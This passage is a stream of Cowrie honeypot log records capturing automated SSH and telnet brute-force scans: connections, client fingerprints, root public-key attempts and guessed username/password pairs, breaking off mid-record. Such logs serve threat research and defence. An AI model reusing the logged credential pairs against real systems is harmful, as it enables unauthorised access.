{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:36.312564Z","src_ip":"91.92.42.227","session":"c002a6c284b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:37.351276Z","src_ip":"168.167.228.74","session":"118ce2007777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:38.607998Z","src_ip":"168.167.228.74","session":"118ce2007777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40273,"dst_ip":"159.203.135.109","dst_port":22,"session":"4924ed0544b3","protocol":"ssh","message":"New connection: 168.167.228.74:40273 (159.203.135.109:22) [session: 4924ed0544b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:38.868204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:38.900523Z","src_ip":"168.167.228.74","session":"4924ed0544b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:39.157348Z","src_ip":"168.167.228.74","session":"4924ed0544b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:40.227777Z","src_ip":"168.167.228.74","session":"4924ed0544b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:40.499851Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:40.506522Z","src_ip":"168.167.228.74","session":"4924ed0544b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54434,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1ce28356429","protocol":"ssh","message":"New connection: 91.92.42.227:54434 (10.17.0.5:22) [session: e1ce28356429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:41.034955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:41.320699Z","src_ip":"91.92.42.227","session":"e1ce28356429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:41.337828Z","src_ip":"91.92.42.227","session":"e1ce28356429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":55782,"dst_ip":"10.17.0.5","dst_port":22,"session":"b03c9cde74e3","protocol":"ssh","message":"New connection: 104.236.66.186:55782 (10.17.0.5:22) [session: b03c9cde74e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.463847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.470320Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.478846Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWuEAJ69Dd9F4s7U5Zm+2hrM5KQ9NIOiRddoFxvpA6Fp9p2J16hd5iNDAjKVYiQd4oJx0mb9HKq5CoOqIsxIZkD7SZ5pZHyOKW5Rto3Du/JIq/IkmSZOKlIqfw9FLQBrRU0edLfqxNIGSND9Ncd4dWMgc6Hf22V27t6DMC6r8BY7L3QzwVw4AlDc5uebMPF2PJu5kvkG2bnfZEUnkVq1eCjQQ0tqGBKdUxB9D/+Ecos+PeP2bMznED/hdXTR21eB9rro1k2qN1v1mzhwYhF4YGYF6Q/eYiF0gQX/9lctdg1EShiQya5lm6jGqaDV8TFuv705JRgQ7EsXrrp0eqINxM6XD+qNzrvisME6VWS15dG5AaL3rgMN5tX+EcxOaR/E57spSss5pT98O/nfK3q0ZBFd+5RxaJedWqBuqgdyzq3RHZrYLUD7gSwywldaTsmiHZucIT+dThWnhsrtbZtwC4txKa5dcSbSp78ZflmW8YBwnhP6MRkvRHBVD2GQVC5ms=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.493913Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWuEAJ69Dd9F4s7U5Zm+2hrM5KQ9NIOiRddoFxvpA6Fp9p2J16hd5iNDAjKVYiQd4oJx0mb9HKq5CoOqIsxIZkD7SZ5pZHyOKW5Rto3Du/JIq/IkmSZOKlIqfw9FLQBrRU0edLfqxNIGSND9Ncd4dWMgc6Hf22V27t6DMC6r8BY7L3QzwVw4AlDc5uebMPF2PJu5kvkG2bnfZEUnkVq1eCjQQ0tqGBKdUxB9D/+Ecos+PeP2bMznED/hdXTR21eB9rro1k2qN1v1mzhwYhF4YGYF6Q/eYiF0gQX/9lctdg1EShiQya5lm6jGqaDV8TFuv705JRgQ7EsXrrp0eqINxM6XD+qNzrvisME6VWS15dG5AaL3rgMN5tX+EcxOaR/E57spSss5pT98O/nfK3q0ZBFd+5RxaJedWqBuqgdyzq3RHZrYLUD7gSwywldaTsmiHZucIT+dThWnhsrtbZtwC4txKa5dcSbSp78ZflmW8YBwnhP6MRkvRHBVD2GQVC5ms=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.497276Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.503448Z","src_ip":"91.92.42.227","session":"e1ce28356429","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:c8:2b:25:5c:f1:bb:7e:59:73:83:cc:41:ee:f0:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaN+wN8hcsG2uVFl3XFgQwuS6EGY14P21ah4hq5++/o9ri1RaxfP4FYXIu284JS909G65/SDju+4LcP+hT5UwQCLTNmTRn5JoXebIrCcUO+5NTN2tLmqCSNinmM0Wqbqkoux9d1LP8TXTPSJwm7TIzV4v1UJCY0KgEX4uUOEuHQjl5kd5PvRbMv3EqSB+G5GI6BsdHOFmFfkJtjCkrGtPwdgt3IGilEy7nRHae7PaWDHzFbZApoGN70wokJ6olA1gymRHy0rIWdu0pmNLUjO3ecdMXlATpvWp9Vg41+DVB4R6YAt677X+JLjcqGFOLI9GtDYLJGtGUruSfoPc6ZwIAyiM2/DbgIwpddLBpCPDy2fW1n1EmIHSlT1VQzAC/PszhxJ2JRXAlsq5aHUl34ffNJSYqM7c9WRaO04e0JN52gCvYyzeNDZW5q91FYgUOWWCx65L9PSNR4jCUadbOgGMSPPG7o1wYBsKS3cOB92ENzPfM/iC4wnqSqU+DlDt32lk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:c8:2b:25:5c:f1:bb:7e:59:73:83:cc:41:ee:f0:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.507823Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:c8:2b:25:5c:f1:bb:7e:59:73:83:cc:41:ee:f0:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaN+wN8hcsG2uVFl3XFgQwuS6EGY14P21ah4hq5++/o9ri1RaxfP4FYXIu284JS909G65/SDju+4LcP+hT5UwQCLTNmTRn5JoXebIrCcUO+5NTN2tLmqCSNinmM0Wqbqkoux9d1LP8TXTPSJwm7TIzV4v1UJCY0KgEX4uUOEuHQjl5kd5PvRbMv3EqSB+G5GI6BsdHOFmFfkJtjCkrGtPwdgt3IGilEy7nRHae7PaWDHzFbZApoGN70wokJ6olA1gymRHy0rIWdu0pmNLUjO3ecdMXlATpvWp9Vg41+DVB4R6YAt677X+JLjcqGFOLI9GtDYLJGtGUruSfoPc6ZwIAyiM2/DbgIwpddLBpCPDy2fW1n1EmIHSlT1VQzAC/PszhxJ2JRXAlsq5aHUl34ffNJSYqM7c9WRaO04e0JN52gCvYyzeNDZW5q91FYgUOWWCx65L9PSNR4jCUadbOgGMSPPG7o1wYBsKS3cOB92ENzPfM/iC4wnqSqU+DlDt32lk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.511678Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:ba:5a:bd:91:76:35:af:b7:a0:50:fc:eb:fe:f3:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv/mJ1VyhtXhXD0fJ/GYKE97ddLJrx0qDCNzCCZJ79/LE0rDFuVybxBo41e7aLW2fq4B7kdmZnblD7K4X3KntEi2FG9vHFzXNJGyfCoisJ12kpFBW/8c8M5UH/t6UaBdw/jpASNJrfjqAUVzOT1UQv0j7ZL00sabCm1HrNgI8aoVN4V74PKOEINhgdrchhWT9o7HqaIipRByTryk0sVfv6k9tWkJc6tTbnKe2sagC93xYtltDhkXirQ1/Iycm0m6qRT3dPTyu/YV9BB2EODWoGl9G6zXLnwxyPwinKlCmdN9G/prZBypg1ehN+0d8CaUGM9KT8uHU2yG1y/H/yi+f1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:ba:5a:bd:91:76:35:af:b7:a0:50:fc:eb:fe:f3:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.519215Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:ba:5a:bd:91:76:35:af:b7:a0:50:fc:eb:fe:f3:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv/mJ1VyhtXhXD0fJ/GYKE97ddLJrx0qDCNzCCZJ79/LE0rDFuVybxBo41e7aLW2fq4B7kdmZnblD7K4X3KntEi2FG9vHFzXNJGyfCoisJ12kpFBW/8c8M5UH/t6UaBdw/jpASNJrfjqAUVzOT1UQv0j7ZL00sabCm1HrNgI8aoVN4V74PKOEINhgdrchhWT9o7HqaIipRByTryk0sVfv6k9tWkJc6tTbnKe2sagC93xYtltDhkXirQ1/Iycm0m6qRT3dPTyu/YV9BB2EODWoGl9G6zXLnwxyPwinKlCmdN9G/prZBypg1ehN+0d8CaUGM9KT8uHU2yG1y/H/yi+f1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.524439Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:87:56:4f:cb:d6:2e:8c:3e:bc:27:3c:04:fd:d2:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcjPyaEkpMskSb86Q3hf86ZBx+NoT1bUcUXhxwmtLHGVpUC9jLfLgXfd6QfdtwVfSY4KDpRWHLEJ7xV155XqbLv6si0ikIdILhgpR9MFhhIEVd7lxXQ+vq4yM9v+56gICIbJbdTnqq1yYaZL99dGv+eiF2lsj4c7aGLn0pgXtqfbHvRcX96h13kr9UEs57ykWBD4bk/33GrsUBl9MnudLi3Qc+NvSxfXRzElGyKfwYQZijkqpZggnl4M6DlWU94Gf2RT1DJgxQD2O9VOi/g/ImkJuWUfI/+fuBmhsatdKjeayw2zusJZknQBhIRaEhWPTOutRpPWZu4rZUT1B/YSO1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:87:56:4f:cb:d6:2e:8c:3e:bc:27:3c:04:fd:d2:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.537205Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:87:56:4f:cb:d6:2e:8c:3e:bc:27:3c:04:fd:d2:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcjPyaEkpMskSb86Q3hf86ZBx+NoT1bUcUXhxwmtLHGVpUC9jLfLgXfd6QfdtwVfSY4KDpRWHLEJ7xV155XqbLv6si0ikIdILhgpR9MFhhIEVd7lxXQ+vq4yM9v+56gICIbJbdTnqq1yYaZL99dGv+eiF2lsj4c7aGLn0pgXtqfbHvRcX96h13kr9UEs57ykWBD4bk/33GrsUBl9MnudLi3Qc+NvSxfXRzElGyKfwYQZijkqpZggnl4M6DlWU94Gf2RT1DJgxQD2O9VOi/g/ImkJuWUfI/+fuBmhsatdKjeayw2zusJZknQBhIRaEhWPTOutRpPWZu4rZUT1B/YSO1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.541870Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:73:8d:c8:b0:59:e8:9b:2a:47:f5:ad:79:6f:3e:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqBnGE+8803QPnAPpK7Qige9tk5Ri1l2RuDu9Zi64x/+Y6S3xTZQLqDAzq3Xw3RJ28lS11kWGwOsxETWnmrfpjdjVBtAahZs5KrCIkb5CtySxdrKEN1K2E4Kz1ZzArtL2r/eErnsZYXNaWIgWbP544ZgE2tlttTNaSa5bDxMsijNIJuYOFxX30DeAmW68TVSyWvM4+pBY4DjlHmwwbj2kAS5GVeMIx/djBfxeCap05rxgJeXDbAuCs4pvNrY1XJWGAJEQxSJEl8XpGSJYoczactIN5H5xTf3tFRdlx3qvdusszjaHXMFkORwsYKtJf6MJjiCybG5M+mh4sFB9FohP5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:73:8d:c8:b0:59:e8:9b:2a:47:f5:ad:79:6f:3e:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.557421Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:73:8d:c8:b0:59:e8:9b:2a:47:f5:ad:79:6f:3e:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqBnGE+8803QPnAPpK7Qige9tk5Ri1l2RuDu9Zi64x/+Y6S3xTZQLqDAzq3Xw3RJ28lS11kWGwOsxETWnmrfpjdjVBtAahZs5KrCIkb5CtySxdrKEN1K2E4Kz1ZzArtL2r/eErnsZYXNaWIgWbP544ZgE2tlttTNaSa5bDxMsijNIJuYOFxX30DeAmW68TVSyWvM4+pBY4DjlHmwwbj2kAS5GVeMIx/djBfxeCap05rxgJeXDbAuCs4pvNrY1XJWGAJEQxSJEl8XpGSJYoczactIN5H5xTf3tFRdlx3qvdusszjaHXMFkORwsYKtJf6MJjiCybG5M+mh4sFB9FohP5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.561151Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:42.578397Z","src_ip":"104.236.66.186","session":"b03c9cde74e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:44.238082Z","src_ip":"91.92.42.227","session":"e1ce28356429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd3eb176a1c2","protocol":"ssh","message":"New connection: 27.71.230.31:43998 (10.17.0.5:22) [session: bd3eb176a1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:46.185462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:46.266778Z","src_ip":"27.71.230.31","session":"bd3eb176a1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":35668,"dst_ip":"10.17.0.5","dst_port":23,"session":"6613796619bf","protocol":"telnet","message":"New connection: 34.79.127.0:35668 (10.17.0.5:23) [session: 6613796619bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:47.630453Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":35682,"dst_ip":"10.17.0.5","dst_port":23,"session":"685aaf71594c","protocol":"telnet","message":"New connection: 34.79.127.0:35682 (10.17.0.5:23) [session: 685aaf71594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:47.793590Z"}
{"eventid":"cowrie.session.closed","duration":0.005194902420043945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:47.798629Z","src_ip":"34.79.127.0","session":"685aaf71594c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":35684,"dst_ip":"10.17.0.5","dst_port":23,"session":"765a5d09dd4d","protocol":"telnet","message":"New connection: 34.79.127.0:35684 (10.17.0.5:23) [session: 765a5d09dd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:47.956991Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41446,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a84d35b063","protocol":"ssh","message":"New connection: 91.92.42.227:41446 (10.17.0.5:22) [session: b2a84d35b063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:48.218359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:48.285637Z","src_ip":"91.92.42.227","session":"b2a84d35b063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm